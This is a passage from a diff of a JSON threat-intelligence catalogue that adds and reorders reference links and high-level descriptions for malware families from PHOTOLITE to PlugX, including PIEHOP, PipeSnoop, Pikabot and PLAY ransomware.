(botpack.dat) which results in the IcedID Lite DLL Loader, and then delivers the Forked version of IcedID Bot, leaving out the webinjects and backconnect functionality that would typically be used for banking fraud. ", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.photolite", + "https://www.proofpoint.com/us/blog/threat-insight/comprehensive-look-emotets-fall-2022-return", + "https://www.proofpoint.com/us/blog/threat-insight/fork-ice-new-era-icedid", + "https://www.intrinsec.com/emotet-returns-and-deploys-loaders/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "e4609860-99f9-47c9-9e36-350611466f3c", + "value": "PHOTOLITE" + }, { "description": "A loader used to deliver IcedID, fetching a fake image from which payloads are extracted.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.photoloader", - "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", - "https://isc.sans.edu/diary/29740", - "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary", - "https://www.team-cymru.com/post/from-chile-with-malware", - "https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/", - "https://blog.unpac.me/2023/05/03/unpacme-weekly-new-version-of-icedid-loader", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://research.openanalysis.net/icedid/bokbot/photoloader/config/2023/04/06/photoloader.html", - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", - "https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns", - "https://twitter.com/felixw3000/status/1521816045769662468", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", - "https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload/", - "https://blog.talosintelligence.com/following-the-lnk-metadata-trail", - "https://www.youtube.com/watch?v=4j8t9kFLFIY", - "https://isc.sans.edu/diary/28636", - "https://www.elastic.co/security-labs/unpacking-icedid", - "https://www.silentpush.com/blog/malicious-infrastructure-as-a-service", - "https://unit42.paloaltonetworks.com/teasing-secrets-malware-configuration-parsing", - "https://www.spreaker.com/user/16860719/proofpoint-e29-mix-v1", "https://www.esentire.com/blog/icedid-to-cobalt-strike-in-under-20-minutes", + "https://twitter.com/felixw3000/status/1521816045769662468", + "https://www.elastic.co/security-labs/unpacking-icedid", + "https://blog.talosintelligence.com/following-the-lnk-metadata-trail", + "https://leandrofroes.github.io/posts/Reversing-a-recent-IcedID-Crypter/", + "https://isc.sans.edu/diary/29740", + "https://www.intezer.com/blog/research/conversation-hijacking-campaign-delivering-icedid/", + "https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload/", + "https://www.silentpush.com/blog/malicious-infrastructure-as-a-service", + "https://www.silentpush.com/blog/icedid-command-and-control-infrastructure", "https://www.team-cymru.com/post/a-visualizza-into-recent-icedid-campaigns", + "https://awakesecurity.com/blog/detecting-icedid-and-cobalt-strike-beacon-with-network-detection-and-response/", "https://sysopfb.github.io/malware,/icedid/2020/04/28/IcedIDs-updated-photoloader.html", + "https://blog.unpac.me/2023/05/03/unpacme-weekly-new-version-of-icedid-loader", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://www.silentpush.com/blog/icedid-command-and-control-infrastructure" + "https://www.proofpoint.com/us/blog/threat-insight/fork-ice-new-era-icedid", + "https://unit42.paloaltonetworks.com/teasing-secrets-malware-configuration-parsing", + "https://www.elastic.co/security-labs/thawing-the-permafrost-of-icedid-summary", + "https://www.youtube.com/watch?v=4j8t9kFLFIY", + "https://www.team-cymru.com/post/from-chile-with-malware", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.deepinstinct.com/blog/pindos-new-javascript-dropper-delivering-bumblebee-and-icedid", + "https://www.fortinet.com/blog/threat-research/notable-droppers-emerge-in-recent-threat-campaigns", + "https://securityintelligence.com/posts/trickbot-conti-crypters-where-are-they-now/", + "https://isc.sans.edu/diary/28636", + "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/", + "https://www.spreaker.com/user/16860719/proofpoint-e29-mix-v1", + "https://thedfirreport.com/2023/05/22/icedid-macro-ends-in-nokoyawa-ransomware/", + "https://www.first.org/resources/papers/amsterdam23/IcedID-FIRST-AMS-2023.pdf", + "https://unit42.paloaltonetworks.com/wireshark-quiz-icedid-answers/", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-leaks-examining-the-panama-papers-of-ransomware.html", + "https://research.openanalysis.net/icedid/bokbot/photoloader/config/2023/04/06/photoloader.html" + ], + "synonyms": [ + "GZIPLOADER" ], - "synonyms": [], "type": [] }, "uuid": "3418ca80-73d9-49ab-836a-98230a83c67d", @@ -37552,8 +39312,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pickpocket", - "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html", - "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae" + "https://cyware.com/blog/apt34-the-helix-kitten-cybercriminal-group-loves-to-meow-middle-eastern-and-international-organizations-48ae", + "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" ], "synonyms": [], "type": [] @@ -37561,6 +39321,19 @@ "uuid": "2eb298de-e14b-46c1-a45f-26ae0d2c4003", "value": "PICKPOCKET" }, + { + "description": "According to Mandiant, PIEHOP is a disruption tool written in Python and packaged with PyInstaller version 2.1+ that has the capability to connect to a user supplied remote MSSQL server for uploading files and issuing remote commands to a RTU.\r\nPIEHOP expects its main function to be called via another Python file, supplying either the argument control=True or upload=True. At a minimum, it requires the following arguments: oik, user, and pwd, and if called with control=True, it must also be supplied with iec104.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.piehop", + "https://www.mandiant.com/resources/blog/cosmicenergy-ot-malware-russian-response" + ], + "synonyms": [], + "type": [] + }, + "uuid": "2b025b03-9241-4fe4-b691-46c7bace87e4", + "value": "PIEHOP" + }, { "description": "", "meta": { @@ -37576,12 +39349,14 @@ "value": "Pierogi" }, { - "description": "", + "description": "Introducing Pikabot, an emerging malware family that comprises a downloader/installer, a loader, and a core backdoor component. Despite being in the early stages of development, it already demonstrates advanced techniques in evasion, injection, and anti-analysis. Notably, the loader component incorporates an array of sophisticated anti-debugging and anti-VM measures inspired by the open-source Al-Khaser project, while leveraging steganography to conceal its payload. Additionally, Pikabot utilizes a proprietary C2 framework and supports a diverse range of commands, encompassing host enumeration and advanced secondary payload injection options.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pikabot", + "https://www.zscaler.com/blogs/security-research/technical-analysis-pikabot", + "https://medium.com/@DCSO_CyTec/shortandmalicious-pikabot-and-the-matanbuchus-connection-5e302644398", "https://minerva-labs.com/blog/beepin-out-of-the-sandbox-analyzing-a-new-extremely-evasive-malware/", - "https://medium.com/@DCSO_CyTec/shortandmalicious-pikabot-and-the-matanbuchus-connection-5e302644398" + "https://d01a.github.io/pikabot/" ], "synonyms": [], "type": [] @@ -37594,9 +39369,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pillowmint", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://cocomelonc.github.io/malware/2023/05/22/malware-tricks-29.html", "https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/pillowmint-fin7s-monkey-thief/" ], "synonyms": [], "type": [] @@ -37605,7 +39381,7 @@ "value": "PILLOWMINT" }, { - "description": "According to F-Secure, the PinchDuke information stealer gathers system configuration information, steals user credentials, and collects user files from the compromised host transferring these via HTTP(S) to a C&C server. F-Secure believes that PinchDuke’s credential stealing functionality is based on the source code of the Pinch credential stealing malware (also known as LdPinch) that was developed in the early 2000s and has later been openly distributed on underground forums.", + "description": "According to F-Secure, the PinchDuke information stealer gathers system configuration information, steals user credentials, and collects user files from the compromised host transferring these via HTTP(S) to a C&C server. F-Secure believes that PinchDuke\u2019s credential stealing functionality is based on the source code of the Pinch credential stealing malware (also known as LdPinch) that was developed in the early 2000s and has later been openly distributed on underground forums.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pinchduke", @@ -37622,8 +39398,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pingback", - "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel/" + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel/", + "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/" ], "synonyms": [], "type": [] @@ -37649,8 +39425,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipemon", - "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", - "https://twitter.com/ESETresearch/status/1506904404225630210" + "https://twitter.com/ESETresearch/status/1506904404225630210", + "https://cocomelonc.github.io/malware/2023/05/22/malware-tricks-29.html", + "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/" ], "synonyms": [], "type": [] @@ -37658,6 +39435,19 @@ "uuid": "34c0b51a-7139-44ab-b09a-cef646e66ba0", "value": "PipeMon" }, + { + "description": "Cisco Talos states that PipeSnoop can accept arbitrary shellcode from a named pipe and execute it on the infected endpoint.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.pipesnoop", + "https://blog.talosintelligence.com/introducing-shrouded-snooper/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "29e75560-d16f-4434-a6a5-0258a916103d", + "value": "PipeSnoop" + }, { "description": "Infostealer", "meta": { @@ -37676,11 +39466,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pirpi", + "https://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/", "https://www.fireeye.com/blog/threat-research/2014/11/operation_doubletap.html", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-mayfair", "https://web.archive.org/web/20160910124439/http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", - "https://researchcenter.paloaltonetworks.com/2015/07/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/" + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://www.secureworks.com/research/threat-profiles/bronze-mayfair" ], "synonyms": [ "CookieCutter", @@ -37696,11 +39486,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pitou", - "https://isc.sans.edu/diary/rss/25068", - "https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf", - "https://www.tgsoft.it/english/news_archivio_eng.asp?id=884", "http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.565.9211&rep=rep1&type=pdf", - "https://johannesbader.ch/2019/07/the-dga-of-pitou/" + "https://www.tgsoft.it/english/news_archivio_eng.asp?id=884", + "https://www.f-secure.com/documents/996508/1030745/pitou_whitepaper.pdf", + "https://johannesbader.ch/2019/07/the-dga-of-pitou/", + "https://isc.sans.edu/diary/rss/25068" ], "synonyms": [], "type": [] @@ -37727,8 +39517,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pkybot", - "http://blog.kleissner.org/?p=788", - "http://webcache.googleusercontent.com/search?q=cache:JN3yRXXuYsYJ:https://www.arbornetworks.com/blog/asert/peeking-at-pkybot" + "http://webcache.googleusercontent.com/search?q=cache:JN3yRXXuYsYJ:https://www.arbornetworks.com/blog/asert/peeking-at-pkybot", + "http://blog.kleissner.org/?p=788" ], "synonyms": [ "Bublik", @@ -37745,9 +39535,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.plaintee", + "https://unit42.paloaltonetworks.com/atoms/rancortaurus/", "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/", "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://unit42.paloaltonetworks.com/atoms/rancortaurus/", "https://www.secureworks.com/research/threat-profiles/bronze-overbrook" ], "synonyms": [], @@ -37757,21 +39547,23 @@ "value": "PLAINTEE" }, { - "description": "Ransomware", + "description": "According to PCrisk, PLAY is the name of a ransomware-type program. Malware categorized as such operates by encrypting data and demanding ransoms for the decryption.\r\n\r\nAfter we executed a sample of this ransomware on our test machine, it encrypted files and appended their filenames with a \".PLAY\" extension. For example, a file titled \"1.jpg\" appeared as \"1.jpg.PLAY\", \"2.png\" as \"2.png.PLAY\", etc. Once the encryption process was completed, PLAY created a text file named \"ReadMe.txt\" on the desktop.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.play", - "https://www.orangecyberdefense.com/global/blog/playing-the-game", - "https://chuongdong.com/reverse%20engineering/2022/09/03/PLAYRansomware/", - "https://www.bleepingcomputer.com/news/security/rackspace-confirms-play-ransomware-was-behind-recent-cyberattack/", - "https://www.fortinet.com/blog/threat-research/ransomware-roundup-play-ransomware", + "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2023-CTI-007.pdf", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/play-ransomware-volume-shadow-copy", "https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/", - "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", - "https://www.avertium.com/resources/threat-reports/an-in-depth-look-at-play-ransomware", - "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", "https://www.trendmicro.com/en_us/research/22/i/play-ransomware-s-attack-playbook-unmasks-it-as-another-hive-aff.html", - "https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65" + "https://medium.com/walmartglobaltech/from-royal-with-love-88fa05ff7f65", + "https://www.avertium.com/resources/threat-reports/an-in-depth-look-at-play-ransomware", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-play", + "https://www.orangecyberdefense.com/global/blog/playing-the-game", + "https://chuongdong.com/reverse%20engineering/2022/09/03/PLAYRansomware/", + "https://www.fortinet.com/blog/threat-research/ransomware-roundup-play-ransomware", + "https://www.bleepingcomputer.com/news/security/rackspace-confirms-play-ransomware-was-behind-recent-cyberattack/" ], "synonyms": [ "PlayCrypt" @@ -37799,29 +39591,29 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.plead", - "https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/", - "https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/", - "https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020", - "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf", - "https://blogs.jpcert.or.jp/en/2018/11/tscookie2.html", - "https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html", - "https://www.fireeye.com/blog/threat-research/2016/04/ghosts_in_the_endpoi.html", "https://blog.jpcert.or.jp/2018/06/plead-downloader-used-by-blacktech.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/", + "https://blogs.jpcert.or.jp/en/2018/11/tscookie2.html", + "https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf", + "http://blog.jpcert.or.jp/2018/03/malware-tscooki-7aa0.html", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/palmerworm-blacktech-espionage-apt", - "https://web.archive.org/web/20200229012206/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf", - "https://www.trendmicro.com/en_us/research/17/f/following-trail-blacktech-cyber-espionage-campaigns.html", - "https://securelist.com/apt-trends-report-q2-2019/91897/", "https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_2_ycy-aragorn_en.pdf", - "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", + "https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://blogs.jpcert.or.jp/en/2019/05/tscookie3.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/kivars-with-venom-targeted-attacks-upgrade-with-64-bit-support/", + "https://www.fireeye.com/blog/threat-research/2016/04/ghosts_in_the_endpoi.html", "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", "https://www.macnica.net/file/mpressioncss_ta_report_2019.pdf", - "https://blogs.jpcert.or.jp/en/2019/05/tscookie3.html", - "http://www.freebuf.com/column/159865.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/", + "https://securelist.com/apt-trends-report-q2-2019/91897/", + "https://www.welivesecurity.com/2018/07/09/certificates-stolen-taiwanese-tech-companies-plead-malware-campaign/", + "https://web.archive.org/web/20200229012206/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1574947724.pdf", + "https://www.trendmicro.com/en_us/research/17/f/following-trail-blacktech-cyber-espionage-campaigns.html", "https://documents.trendmicro.com/assets/appendix-following-the-trail-of-blacktechs-cyber-espionage-campaigns.pdf", - "https://blog.trendmicro.com/trendlabs-security-intelligence/following-trail-blacktech-cyber-espionage-campaigns/" + "https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf", + "https://www.welivesecurity.com/2019/05/14/plead-malware-mitm-asus-webstorage/", + "https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html", + "http://www.freebuf.com/column/159865.html" ], "synonyms": [ "DRAWDOWN", @@ -37838,13 +39630,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ploutus_atm", + "http://antonioparata.blogspot.co.uk/2018/02/analyzing-nasty-net-protection-of.html", "https://documents.trendmicro.com/assets/white_papers/wp-cashing-in-on-atm-malware.pdf", "https://www.fireeye.com/blog/threat-research/2017/01/new_ploutus_variant.html", - "http://antonioparata.blogspot.co.uk/2018/02/analyzing-nasty-net-protection-of.html", "https://www.metabaseq.com/recursos/ploutus-is-back-targeting-itautec-atms-in-latin-america", + "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html", "https://www.crowdstrike.com/blog/ploutus-atm-malware-deobfuscation-case-study", - "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", - "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html" + "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam" ], "synonyms": [], "type": [] @@ -37871,175 +39663,184 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.plugx", - "https://asec.ahnlab.com/en/49097/", - "https://threatconnect.com/blog/research-roundup-activity-on-previously-identified-apt33-domains/", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", "https://blog.eclecticiq.com/mustang-panda-apt-group-uses-european-commission-themed-lure-to-deliver-plugx-malware", - "https://lab52.io/blog/mustang-panda-recent-activity-dll-sideloading-trojans-with-temporal-c2-servers/", - "https://www.computerweekly.com/news/252471769/New-threat-group-behind-Airbus-cyber-attacks-claim-researchers", - "https://securelist.com/apt-trends-report-q2-2020/97937/", + "https://web.archive.org/web/20200424035112/https://go.contextis.com/rs/140-OCV-459/images/White%20Paper_PlugX%20-%20Payload%20Extraction.pdf", + "https://www.trendmicro.com/en_us/research/23/b/investigating-the-plugx-trojan-disguised-as-a-legitimate-windows.html", + "https://cyberandramen.net/2022/01/06/a-gulp-of-plugx/", + "https://go.recordedfuture.com/hubfs/reports/cta-2021-0228.pdf", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://community.rsa.com/thread/185439", + "https://researchcenter.paloaltonetworks.com/2017/06/unit42-paranoid-plugx/", + "https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf", + "https://www.youtube.com/watch?v=6SDdUVejR2w", + "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european", + "https://www.contextis.com/en/blog/avivore", + "https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/carderbee-software-supply-chain-certificate-abuse", + "https://raw.githubusercontent.com/yt0ng/cracking_softcell/main/Cracking_SOFTCLL_TLP_WHITE.pdf", + "https://unit42.paloaltonetworks.com/thor-plugx-variant/", + "https://securelist.com/time-of-death-connected-medicine/84315/", + "https://or10nlabs.tech/reverse-engineering-the-new-mustang-panda-plugx-downloader/", + "https://www.recordedfuture.com/china-linked-ta428-threat-group", + "https://www.zdnet.com/article/chinese-state-hackers-target-hong-kong-catholic-church/", + "https://web.archive.org/web/20210925164035/https://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/", + "https://securelist.com/apt-trends-report-q3-2020/99204/", + "https://twitter.com/stvemillertime/status/1261263000960450562", + "https://therecord.media/indonesian-intelligence-agency-compromised-in-suspected-chinese-hack/", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", + "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lancefly-merdoor-zxshell-custom-backdoor", + "https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx", + "https://unit42.paloaltonetworks.com/pkplug_chinese_cyber_espionage_group_attacking_asia/", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf", + "https://www.sophos.com/en-us/medialibrary/pdfs/technical%20papers/plugx-thenextgeneration.pdf", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/", + "http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html", + "https://raw.githubusercontent.com/m4now4r/Presentations/main/MustangPanda%20-%20Enemy%20at%20the%20gate_final.pdf", + "https://news.sophos.com/en-us/2023/03/09/border-hopping-plugx-usb-worm/", + "https://www.cybereason.com/blog/threat-analysis-report-plugx-rat-loader-evolution", + "https://blogs.jpcert.or.jp/ja/2022/05/HUILoader.html", + "https://i.blackhat.com/asia-21/Friday-Handouts/as-21-Tseng-Mem2Img-Memory-Resident-Malware-Detection-via-Convolution-Neural-Network.pdf", + "https://www.darkreading.com/threat-intelligence/chinese-apt-bronze-president-spy-campaign-russian-military", + "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/plugx-a-talisman-to-behold.html", + "https://www.mandiant.com/resources/blog/infected-usb-steal-secrets", + "http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html", + "https://www.bleepingcomputer.com/news/security/chinas-apt-hackers-move-to-ransomware-attacks/", + "https://www.ptsecurity.com/ww-en/analytics/calypso-apt-2019/", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "https://www.recordedfuture.com/chinese-group-calypso-exploiting-microsoft-exchange/", + "https://www.secureworks.com/research/threat-profiles/bronze-firestone", "https://www.secureworks.com/research/threat-profiles/bronze-union", "https://www.contextis.com/de/blog/avivore", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf", - "https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/plugx-a-talisman-to-behold.html", - "https://news.sophos.com/en-us/2020/11/04/a-new-apt-uses-dll-side-loads-to-killlsomeone/", - "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html", - "https://kienmanowar.wordpress.com/2023/01/09/quicknote-another-nice-plugx-sample/", - "https://risky.biz/whatiswinnti/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://conference.hitb.org/hitbsecconf2021sin/materials/D1T1%20-%20%20ShadowPad%20-%20A%20Masterpiece%20of%20Privately%20Sold%20Malware%20in%20Chinese%20Espionage%20-%20Yi-Jhen%20Hsieh%20&%20Joey%20Chen.pdf", - "https://blog.xorhex.com/blog/mustangpandaplugx-1/", - "https://www.youtube.com/watch?v=E2_DTQJjDYc", - "https://securelist.com/cycldek-bridging-the-air-gap/97157/", - "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", - "https://insights.oem.avira.com/new-wave-of-plugx-targets-hong-kong/", - "https://umbrella.cisco.com/blog/cybersecurity-threat-spotlight-blackmatter-lockbit-thor", - "https://www.recordedfuture.com/redecho-targeting-indian-power-sector/", - "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader", - "https://www.sentinelone.com/labs/moshen-dragons-triad-and-error-approach-abusing-security-software-to-sideload-plugx-and-shadowpad/", - "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-annex-download.pdf", - "http://blog.jpcert.or.jp/2015/01/analysis-of-a-r-ff05.html", - "https://st.drweb.com/static/new-www/news/2020/july/Study_of_the_APT_attacks_on_state_institutions_in_Kazakhstan_and_Kyrgyzstan_en.pdf", - "https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf", - "https://www.rsa.com/content/dam/pdfs/2-2017/kingslayer-a-supply-chain-attack.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-express", - "https://www.secureworks.com/research/threat-profiles/bronze-riverside", - "https://kienmanowar.wordpress.com/2022/12/27/diving-into-a-plugx-sample-of-mustang-panda-group/", - "https://engineers.ffri.jp/entry/2022/11/30/141346", - "https://www.trendmicro.com/en_us/research/20/k/weaponizing-open-source-software-for-targeted-attacks.html", - "https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/operation-harvest-a-deep-dive-into-a-long-term-campaign/", - "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", - "https://silascutler.blogspot.com/2019/11/fresh-plugx-october-2019.html", - "https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf", - "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", - "https://www.welivesecurity.com/2021/03/10/exchange-servers-under-siege-10-apt-groups/", - "https://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf", - "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf", - "https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims", - "https://www.lac.co.jp/lacwatch/people/20171218_001445.html", - "https://blog.xorhex.com/blog/reddeltaplugxchangeup/", - "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://www.macnica.net/file/security_report_20160613.pdf", "https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", - "https://or10nlabs.tech/reverse-engineering-the-mustang-panda-plugx-rat-extracting-the-config/", - "https://raw.githubusercontent.com/m4now4r/Presentations/main/MustangPanda%20-%20Enemy%20at%20the%20gate_final.pdf", - "https://blog.vincss.net/2020/03/re012-phan-tich-ma-doc-loi-dung-dich-COVID-19-de-phat-tan-gia-mao-chi-thi-cua-thu-tuong-Nguyen-Xuan-Phuc-phan2.html", - "https://www.contextis.com/en/blog/avivore", - 